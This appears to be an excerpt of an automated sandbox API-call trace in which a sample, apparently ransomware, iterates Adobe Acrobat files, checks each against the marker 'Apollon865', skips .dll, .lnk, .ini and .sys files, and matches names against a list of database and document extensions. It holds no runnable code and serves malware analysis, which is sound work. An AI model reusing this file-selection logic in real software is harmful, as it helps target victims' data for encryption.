	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accdw") returned 1
	[0056.732] lstrlenW (lpString="accft") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accft") returned 1
	[0056.732] lstrlenW (lpString="adb") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0056.732] lstrlenW (lpString="adb") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0056.732] lstrlenW (lpString="ade") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="ade") returned 1
	[0056.732] lstrlenW (lpString="adf") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="adf") returned 1
	[0056.732] lstrlenW (lpString="adn") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="adn") returned 1
	[0056.732] lstrlenW (lpString="adp") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="adp") returned 1
	[0056.732] lstrlenW (lpString="alf") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="alf") returned 1
	[0056.732] lstrlenW (lpString="ask") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="ask") returned 1
	[0056.732] lstrlenW (lpString="btr") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="btr") returned 1
	[0056.732] lstrlenW (lpString="cat") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="cat") returned 1
	[0056.732] lstrlenW (lpString="cdb") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="cdb") returned 1
	[0056.732] lstrlenW (lpString="ckp") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="ckp") returned -1
	[0056.732] lstrlenW (lpString="cma") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="cma") returned -1
	[0056.733] lstrlenW (lpString="cpd") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="cpd") returned -1
	[0056.733] lstrlenW (lpString="dacpac") returned 6
	[0056.733] lstrcmpiW (lpString1="DF.CHT", lpString2="dacpac") returned 1
	[0056.733] lstrlenW (lpString="dad") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dad") returned -1
	[0056.733] lstrlenW (lpString="dadiagrams") returned 10
	[0056.733] lstrcmpiW (lpString1="croPDF.CHT", lpString2="dadiagrams") returned -1
	[0056.733] lstrlenW (lpString="daschema") returned 8
	[0056.733] lstrcmpiW (lpString1="oPDF.CHT", lpString2="daschema") returned 1
	[0056.733] lstrlenW (lpString="db-journal") returned 10
	[0056.733] lstrcmpiW (lpString1="croPDF.CHT", lpString2="db-journal") returned -1
	[0056.733] lstrlenW (lpString="db-shm") returned 6
	[0056.733] lstrcmpiW (lpString1="DF.CHT", lpString2="db-shm") returned 1
	[0056.733] lstrlenW (lpString="db-wal") returned 6
	[0056.733] lstrcmpiW (lpString1="DF.CHT", lpString2="db-wal") returned 1
	[0056.733] lstrlenW (lpString="dbc") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dbc") returned -1
	[0056.733] lstrlenW (lpString="dbs") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dbs") returned -1
	[0056.733] lstrlenW (lpString="dbt") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dbt") returned -1
	[0056.733] lstrlenW (lpString="dbv") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dbv") returned -1
	[0056.733] lstrlenW (lpString="dbx") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dbx") returned -1
	[0056.733] lstrlenW (lpString="dcb") returned 3
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dcb") returned -1
	[0056.733] lstrcmpiW (lpString1="CHT", lpString2="dct") returned -1
	[0056.733] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.CZE" | out: lpString1="AcroPDF.CZE") returned="AcroPDF.CZE"
	[0056.733] lstrlenW (lpString="AcroPDF.CZE") returned 11
	[0056.733] lstrlenW (lpString="Apollon865") returned 10
	[0056.733] lstrcmpiW (lpString1="croPDF.CZE", lpString2="Apollon865") returned 1
	[0056.734] lstrlenW (lpString=".dll") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.CZE", lpString2=".dll") returned 1
	[0056.734] lstrlenW (lpString=".lnk") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.CZE", lpString2=".lnk") returned 1
	[0056.734] lstrlenW (lpString=".ini") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.CZE", lpString2=".ini") returned 1
	[0056.734] lstrlenW (lpString=".sys") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.CZE", lpString2=".sys") returned 1
	[0056.734] lstrlenW (lpString="AcroPDF.CZE") returned 11
	[0056.734] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.DAN" | out: lpString1="AcroPDF.DAN") returned="AcroPDF.DAN"
	[0056.734] lstrlenW (lpString="AcroPDF.DAN") returned 11
	[0056.734] lstrlenW (lpString="Apollon865") returned 10
	[0056.734] lstrcmpiW (lpString1="croPDF.DAN", lpString2="Apollon865") returned 1
	[0056.734] lstrlenW (lpString=".dll") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DAN", lpString2=".dll") returned 1
	[0056.734] lstrlenW (lpString=".lnk") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DAN", lpString2=".lnk") returned 1
	[0056.734] lstrlenW (lpString=".ini") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DAN", lpString2=".ini") returned 1
	[0056.734] lstrlenW (lpString=".sys") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DAN", lpString2=".sys") returned 1
	[0056.734] lstrlenW (lpString="AcroPDF.DAN") returned 11
	[0056.734] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.DEU" | out: lpString1="AcroPDF.DEU") returned="AcroPDF.DEU"
	[0056.734] lstrlenW (lpString="AcroPDF.DEU") returned 11
	[0056.734] lstrlenW (lpString="Apollon865") returned 10
	[0056.734] lstrcmpiW (lpString1="croPDF.DEU", lpString2="Apollon865") returned 1
	[0056.734] lstrlenW (lpString=".dll") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DEU", lpString2=".dll") returned 1
	[0056.734] lstrlenW (lpString=".lnk") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DEU", lpString2=".lnk") returned 1
	[0056.734] lstrlenW (lpString=".ini") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DEU", lpString2=".ini") returned 1
	[0056.734] lstrlenW (lpString=".sys") returned 4
	[0056.734] lstrcmpiW (lpString1="AcroPDF.DEU", lpString2=".sys") returned 1
	[0056.735] lstrlenW (lpString="AcroPDF.DEU") returned 11
	[0056.735] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.dll" | out: lpString1="AcroPDF.dll") returned="AcroPDF.dll"
	[0056.735] lstrlenW (lpString="AcroPDF.dll") returned 11
	[0056.735] lstrlenW (lpString="Apollon865") returned 10
	[0056.735] lstrcmpiW (lpString1="croPDF.dll", lpString2="Apollon865") returned 1
	[0056.735] lstrlenW (lpString=".dll") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.dll", lpString2=".dll") returned 1
	[0056.735] lstrlenW (lpString=".lnk") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.dll", lpString2=".lnk") returned 1
	[0056.735] lstrlenW (lpString=".ini") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.dll", lpString2=".ini") returned 1
	[0056.735] lstrlenW (lpString=".sys") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.dll", lpString2=".sys") returned 1
	[0056.735] lstrlenW (lpString="AcroPDF.dll") returned 11
	[0056.735] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.ESP" | out: lpString1="AcroPDF.ESP") returned="AcroPDF.ESP"
	[0056.735] lstrlenW (lpString="AcroPDF.ESP") returned 11
	[0056.735] lstrlenW (lpString="Apollon865") returned 10
	[0056.735] lstrcmpiW (lpString1="croPDF.ESP", lpString2="Apollon865") returned 1
	[0056.735] lstrlenW (lpString=".dll") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.ESP", lpString2=".dll") returned 1
	[0056.735] lstrlenW (lpString=".lnk") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.ESP", lpString2=".lnk") returned 1
	[0056.735] lstrlenW (lpString=".ini") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.ESP", lpString2=".ini") returned 1
	[0056.735] lstrlenW (lpString=".sys") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.ESP", lpString2=".sys") returned 1
	[0056.735] lstrlenW (lpString="AcroPDF.ESP") returned 11
	[0056.735] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.EUQ" | out: lpString1="AcroPDF.EUQ") returned="AcroPDF.EUQ"
	[0056.735] lstrlenW (lpString="AcroPDF.EUQ") returned 11
	[0056.735] lstrlenW (lpString="Apollon865") returned 10
	[0056.735] lstrcmpiW (lpString1="croPDF.EUQ", lpString2="Apollon865") returned 1
	[0056.735] lstrlenW (lpString=".dll") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.EUQ", lpString2=".dll") returned 1
	[0056.735] lstrlenW (lpString=".lnk") returned 4
	[0056.735] lstrcmpiW (lpString1="AcroPDF.EUQ", lpString2=".lnk") returned 1
	[0056.736] lstrlenW (lpString=".ini") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.EUQ", lpString2=".ini") returned 1
	[0056.736] lstrlenW (lpString=".sys") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.EUQ", lpString2=".sys") returned 1
	[0056.736] lstrlenW (lpString="AcroPDF.EUQ") returned 11
	[0056.736] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.FRA" | out: lpString1="AcroPDF.FRA") returned="AcroPDF.FRA"
	[0056.736] lstrlenW (lpString="AcroPDF.FRA") returned 11
	[0056.736] lstrlenW (lpString="Apollon865") returned 10
	[0056.736] lstrcmpiW (lpString1="croPDF.FRA", lpString2="Apollon865") returned 1
	[0056.736] lstrlenW (lpString=".dll") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.FRA", lpString2=".dll") returned 1
	[0056.736] lstrlenW (lpString=".lnk") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.FRA", lpString2=".lnk") returned 1
	[0056.736] lstrlenW (lpString=".ini") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.FRA", lpString2=".ini") returned 1
	[0056.736] lstrlenW (lpString=".sys") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.FRA", lpString2=".sys") returned 1
	[0056.736] lstrlenW (lpString="AcroPDF.FRA") returned 11
	[0056.736] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.HRV" | out: lpString1="AcroPDF.HRV") returned="AcroPDF.HRV"
	[0056.736] lstrlenW (lpString="AcroPDF.HRV") returned 11
	[0056.736] lstrlenW (lpString="Apollon865") returned 10
	[0056.736] lstrcmpiW (lpString1="croPDF.HRV", lpString2="Apollon865") returned 1
	[0056.736] lstrlenW (lpString=".dll") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.HRV", lpString2=".dll") returned 1
	[0056.736] lstrlenW (lpString=".lnk") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.HRV", lpString2=".lnk") returned 1
	[0056.736] lstrlenW (lpString=".ini") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.HRV", lpString2=".ini") returned 1
	[0056.736] lstrlenW (lpString=".sys") returned 4
	[0056.736] lstrcmpiW (lpString1="AcroPDF.HRV", lpString2=".sys") returned 1
	[0056.736] lstrlenW (lpString="AcroPDF.HRV") returned 11
	[0056.736] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.HUN" | out: lpString1="AcroPDF.HUN") returned="AcroPDF.HUN"
	[0056.736] lstrlenW (lpString="AcroPDF.HUN") returned 11
	[0056.737] lstrlenW (lpString="Apollon865") returned 10
	[0056.737] lstrcmpiW (lpString1="croPDF.HUN", lpString2="Apollon865") returned 1
	[0056.737] lstrlenW (lpString=".dll") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.HUN", lpString2=".dll") returned 1
	[0056.737] lstrlenW (lpString=".lnk") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.HUN", lpString2=".lnk") returned 1
	[0056.737] lstrlenW (lpString=".ini") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.HUN", lpString2=".ini") returned 1
	[0056.737] lstrlenW (lpString=".sys") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.HUN", lpString2=".sys") returned 1
	[0056.737] lstrlenW (lpString="AcroPDF.HUN") returned 11
	[0056.737] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.ITA" | out: lpString1="AcroPDF.ITA") returned="AcroPDF.ITA"
	[0056.737] lstrlenW (lpString="AcroPDF.ITA") returned 11
	[0056.737] lstrlenW (lpString="Apollon865") returned 10
	[0056.737] lstrcmpiW (lpString1="croPDF.ITA", lpString2="Apollon865") returned 1
	[0056.737] lstrlenW (lpString=".dll") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.ITA", lpString2=".dll") returned 1
	[0056.737] lstrlenW (lpString=".lnk") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.ITA", lpString2=".lnk") returned 1
	[0056.737] lstrlenW (lpString=".ini") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.ITA", lpString2=".ini") returned 1
	[0056.737] lstrlenW (lpString=".sys") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.ITA", lpString2=".sys") returned 1
	[0056.737] lstrlenW (lpString="AcroPDF.ITA") returned 11
	[0056.737] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.JPN" | out: lpString1="AcroPDF.JPN") returned="AcroPDF.JPN"
	[0056.737] lstrlenW (lpString="AcroPDF.JPN") returned 11
	[0056.737] lstrlenW (lpString="Apollon865") returned 10
	[0056.737] lstrcmpiW (lpString1="croPDF.JPN", lpString2="Apollon865") returned 1
	[0056.737] lstrlenW (lpString=".dll") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.JPN", lpString2=".dll") returned 1
	[0056.737] lstrlenW (lpString=".lnk") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.JPN", lpString2=".lnk") returned 1
	[0056.737] lstrlenW (lpString=".ini") returned 4
	[0056.737] lstrcmpiW (lpString1="AcroPDF.JPN", lpString2=".ini") returned 1
	[0056.738] lstrlenW (lpString=".sys") returned 4
	[0056.738] lstrcmpiW (lpString1="AcroPDF.JPN", lpString2=".sys") returned 1
	[0056.738] lstrlenW (lpString="AcroPDF.JPN") returned 11
	[0056.738] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.KOR" | out: lpString1="AcroPDF.KOR") returned="AcroPDF.KOR"
	[0056.739] lstrlenW (lpString="AcroPDF.KOR") returned 11
	[0056.739] lstrlenW (lpString="Apollon865") returned 10
	[0056.739] lstrcmpiW (lpString1="croPDF.KOR", lpString2="Apollon865") returned 1
	[0056.739] lstrlenW (lpString=".dll") returned 4
	[0056.739] lstrcmpiW (lpString1="AcroPDF.KOR", lpString2=".dll") returned 1
	[0056.739] lstrlenW (lpString=".lnk") returned 4
	[0056.739] lstrcmpiW (lpString1="AcroPDF.KOR", lpString2=".lnk") returned 1
	[0056.739] lstrlenW (lpString=".ini") returned 4
	[0056.739] lstrcmpiW (lpString1="AcroPDF.KOR", lpString2=".ini") returned 1
	[0056.739] lstrlenW (lpString=".sys") returned 4
	[0056.739] lstrcmpiW (lpString1="AcroPDF.KOR", lpString2=".sys") returned 1
	[0056.739] lstrlenW (lpString="AcroPDF.KOR") returned 11
	[0056.740] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.NLD" | out: lpString1="AcroPDF.NLD") returned="AcroPDF.NLD"
	[0056.740] lstrlenW (lpString="AcroPDF.NLD") returned 11
	[0056.740] lstrlenW (lpString="Apollon865") returned 10
	[0056.740] lstrcmpiW (lpString1="croPDF.NLD", lpString2="Apollon865") returned 1
	[0056.740] lstrlenW (lpString=".dll") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NLD", lpString2=".dll") returned 1
	[0056.740] lstrlenW (lpString=".lnk") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NLD", lpString2=".lnk") returned 1
	[0056.740] lstrlenW (lpString=".ini") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NLD", lpString2=".ini") returned 1
	[0056.740] lstrlenW (lpString=".sys") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NLD", lpString2=".sys") returned 1
	[0056.740] lstrlenW (lpString="AcroPDF.NLD") returned 11
	[0056.740] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.NOR" | out: lpString1="AcroPDF.NOR") returned="AcroPDF.NOR"
	[0056.740] lstrlenW (lpString="AcroPDF.NOR") returned 11
	[0056.740] lstrlenW (lpString="Apollon865") returned 10
	[0056.740] lstrcmpiW (lpString1="croPDF.NOR", lpString2="Apollon865") returned 1
	[0056.740] lstrlenW (lpString=".dll") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NOR", lpString2=".dll") returned 1
	[0056.740] lstrlenW (lpString=".lnk") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NOR", lpString2=".lnk") returned 1
	[0056.740] lstrlenW (lpString=".ini") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NOR", lpString2=".ini") returned 1
	[0056.740] lstrlenW (lpString=".sys") returned 4
	[0056.740] lstrcmpiW (lpString1="AcroPDF.NOR", lpString2=".sys") returned 1
	[0056.740] lstrlenW (lpString="AcroPDF.NOR") returned 11
	[0056.740] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.POL" | out: lpString1="AcroPDF.POL") returned="AcroPDF.POL"
	[0056.740] lstrlenW (lpString="AcroPDF.POL") returned 11
	[0056.740] lstrlenW (lpString="Apollon865") returned 10
	[0056.741] lstrcmpiW (lpString1="croPDF.POL", lpString2="Apollon865") returned 1
	[0056.741] lstrlenW (lpString=".dll") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.POL", lpString2=".dll") returned 1
	[0056.741] lstrlenW (lpString=".lnk") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.POL", lpString2=".lnk") returned 1
	[0056.741] lstrlenW (lpString=".ini") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.POL", lpString2=".ini") returned 1
	[0056.741] lstrlenW (lpString=".sys") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.POL", lpString2=".sys") returned 1
	[0056.741] lstrlenW (lpString="AcroPDF.POL") returned 11
	[0056.741] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.PTB" | out: lpString1="AcroPDF.PTB") returned="AcroPDF.PTB"
	[0056.741] lstrlenW (lpString="AcroPDF.PTB") returned 11
	[0056.741] lstrlenW (lpString="Apollon865") returned 10
	[0056.741] lstrcmpiW (lpString1="croPDF.PTB", lpString2="Apollon865") returned 1
	[0056.741] lstrlenW (lpString=".dll") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.PTB", lpString2=".dll") returned 1
	[0056.741] lstrlenW (lpString=".lnk") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.PTB", lpString2=".lnk") returned 1
	[0056.741] lstrlenW (lpString=".ini") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.PTB", lpString2=".ini") returned 1
	[0056.741] lstrlenW (lpString=".sys") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.PTB", lpString2=".sys") returned 1
	[0056.741] lstrlenW (lpString="AcroPDF.PTB") returned 11
	[0056.741] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.RUM" | out: lpString1="AcroPDF.RUM") returned="AcroPDF.RUM"
	[0056.741] lstrlenW (lpString="AcroPDF.RUM") returned 11
	[0056.741] lstrlenW (lpString="Apollon865") returned 10
	[0056.741] lstrcmpiW (lpString1="croPDF.RUM", lpString2="Apollon865") returned 1
	[0056.741] lstrlenW (lpString=".dll") returned 4
	[0056.741] lstrcmpiW (lpString1="AcroPDF.RUM", lpString2=".dll") returned 1
	[0056.741] lstrlenW (lpString=".lnk") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUM", lpString2=".lnk") returned 1
	[0056.742] lstrlenW (lpString=".ini") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUM", lpString2=".ini") returned 1
	[0056.742] lstrlenW (lpString=".sys") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUM", lpString2=".sys") returned 1
	[0056.742] lstrlenW (lpString="AcroPDF.RUM") returned 11
	[0056.742] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.RUS" | out: lpString1="AcroPDF.RUS") returned="AcroPDF.RUS"
	[0056.742] lstrlenW (lpString="AcroPDF.RUS") returned 11
	[0056.742] lstrlenW (lpString="Apollon865") returned 10
	[0056.742] lstrcmpiW (lpString1="croPDF.RUS", lpString2="Apollon865") returned 1
	[0056.742] lstrlenW (lpString=".dll") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUS", lpString2=".dll") returned 1
	[0056.742] lstrlenW (lpString=".lnk") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUS", lpString2=".lnk") returned 1
	[0056.742] lstrlenW (lpString=".ini") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUS", lpString2=".ini") returned 1
	[0056.742] lstrlenW (lpString=".sys") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.RUS", lpString2=".sys") returned 1
	[0056.742] lstrlenW (lpString="AcroPDF.RUS") returned 11
	[0056.742] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.SKY" | out: lpString1="AcroPDF.SKY") returned="AcroPDF.SKY"
	[0056.742] lstrlenW (lpString="AcroPDF.SKY") returned 11
	[0056.742] lstrlenW (lpString="Apollon865") returned 10
	[0056.742] lstrcmpiW (lpString1="croPDF.SKY", lpString2="Apollon865") returned 1
	[0056.742] lstrlenW (lpString=".dll") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.SKY", lpString2=".dll") returned 1
	[0056.742] lstrlenW (lpString=".lnk") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.SKY", lpString2=".lnk") returned 1
	[0056.742] lstrlenW (lpString=".ini") returned 4
	[0056.742] lstrcmpiW (lpString1="AcroPDF.SKY", lpString2=".ini") returned 1
	[0056.742] lstrlenW (lpString=".sys") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SKY", lpString2=".sys") returned 1
	[0056.743] lstrlenW (lpString="AcroPDF.SKY") returned 11
	[0056.743] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.SLV" | out: lpString1="AcroPDF.SLV") returned="AcroPDF.SLV"
	[0056.743] lstrlenW (lpString="AcroPDF.SLV") returned 11
	[0056.743] lstrlenW (lpString="Apollon865") returned 10
	[0056.743] lstrcmpiW (lpString1="croPDF.SLV", lpString2="Apollon865") returned 1
	[0056.743] lstrlenW (lpString=".dll") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SLV", lpString2=".dll") returned 1
	[0056.743] lstrlenW (lpString=".lnk") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SLV", lpString2=".lnk") returned 1
	[0056.743] lstrlenW (lpString=".ini") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SLV", lpString2=".ini") returned 1
	[0056.743] lstrlenW (lpString=".sys") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SLV", lpString2=".sys") returned 1
	[0056.743] lstrlenW (lpString="AcroPDF.SLV") returned 11
	[0056.743] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.SUO" | out: lpString1="AcroPDF.SUO") returned="AcroPDF.SUO"
	[0056.743] lstrlenW (lpString="AcroPDF.SUO") returned 11
	[0056.743] lstrlenW (lpString="Apollon865") returned 10
	[0056.743] lstrcmpiW (lpString1="croPDF.SUO", lpString2="Apollon865") returned 1
	[0056.743] lstrlenW (lpString=".dll") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SUO", lpString2=".dll") returned 1
	[0056.743] lstrlenW (lpString=".lnk") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SUO", lpString2=".lnk") returned 1
	[0056.743] lstrlenW (lpString=".ini") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SUO", lpString2=".ini") returned 1
	[0056.743] lstrlenW (lpString=".sys") returned 4
	[0056.743] lstrcmpiW (lpString1="AcroPDF.SUO", lpString2=".sys") returned 1
	[0056.743] lstrlenW (lpString="AcroPDF.SUO") returned 11
	[0056.743] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.SVE" | out: lpString1="AcroPDF.SVE") returned="AcroPDF.SVE"
	[0056.743] lstrlenW (lpString="AcroPDF.SVE") returned 11
	[0056.744] lstrlenW (lpString="Apollon865") returned 10
	[0056.744] lstrcmpiW (lpString1="croPDF.SVE", lpString2="Apollon865") returned 1
	[0056.744] lstrlenW (lpString=".dll") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.SVE", lpString2=".dll") returned 1
	[0056.744] lstrlenW (lpString=".lnk") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.SVE", lpString2=".lnk") returned 1
	[0056.744] lstrlenW (lpString=".ini") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.SVE", lpString2=".ini") returned 1
	[0056.744] lstrlenW (lpString=".sys") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.SVE", lpString2=".sys") returned 1
	[0056.744] lstrlenW (lpString="AcroPDF.SVE") returned 11
	[0056.744] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.TUR" | out: lpString1="AcroPDF.TUR") returned="AcroPDF.TUR"
	[0056.744] lstrlenW (lpString="AcroPDF.TUR") returned 11
	[0056.744] lstrlenW (lpString="Apollon865") returned 10
	[0056.744] lstrcmpiW (lpString1="croPDF.TUR", lpString2="Apollon865") returned 1
	[0056.744] lstrlenW (lpString=".dll") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.TUR", lpString2=".dll") returned 1
	[0056.744] lstrlenW (lpString=".lnk") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.TUR", lpString2=".lnk") returned 1
	[0056.744] lstrlenW (lpString=".ini") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.TUR", lpString2=".ini") returned 1
	[0056.744] lstrlenW (lpString=".sys") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.TUR", lpString2=".sys") returned 1
	[0056.744] lstrlenW (lpString="AcroPDF.TUR") returned 11
	[0056.744] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.UKR" | out: lpString1="AcroPDF.UKR") returned="AcroPDF.UKR"
	[0056.744] lstrlenW (lpString="AcroPDF.UKR") returned 11
	[0056.744] lstrlenW (lpString="Apollon865") returned 10
	[0056.744] lstrcmpiW (lpString1="croPDF.UKR", lpString2="Apollon865") returned 1
	[0056.744] lstrlenW (lpString=".dll") returned 4
	[0056.744] lstrcmpiW (lpString1="AcroPDF.UKR", lpString2=".dll") returned 1
	[0056.744] lstrlenW (lpString=".lnk") returned 4
	[0056.745] lstrcmpiW (lpString1="AcroPDF.UKR", lpString2=".lnk") returned 1
	[0056.745] lstrlenW (lpString=".ini") returned 4
	[0056.745] lstrcmpiW (lpString1="AcroPDF.UKR", lpString2=".ini") returned 1
	[0056.745] lstrlenW (lpString=".sys") returned 4
	[0056.745] lstrcmpiW (lpString1="AcroPDF.UKR", lpString2=".sys") returned 1
	[0056.745] lstrlenW (lpString="AcroPDF.UKR") returned 11
	[0056.745] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="PDFShell.CAT" | out: lpString1="PDFShell.CAT") returned="PDFShell.CAT"
	[0056.745] lstrlenW (lpString="PDFShell.CAT") returned 12
	[0056.745] lstrlenW (lpString="Apollon865") returned 10
	[0056.745] lstrcmpiW (lpString1="FShell.CAT", lpString2="Apollon865") returned 1
	[0056.745] lstrlenW (lpString=".dll") returned 4
	[0056.745] lstrcmpiW (lpString1="PDFShell.CAT", lpString2=".dll") returned 1
	[0056.745] lstrlenW (lpString=".lnk") returned 4
	[0056.745] lstrcmpiW (lpString1="PDFShell.CAT", lpString2=".lnk") returned 1
	[0056.745] lstrlenW (lpString=".ini") returned 4
	[0056.745] lstrcmpiW (lpString1="PDFShell.CAT", lpString2=".ini") returned 1
	[0056.745] lstrlenW (lpString=".sys") returned 4
	[0056.745] lstrcmpiW (lpString1="PDFShell.CAT", lpString2=".sys") returned 1
	[0056.745] lstrlenW (lpString="PDFShell.CAT") returned 12
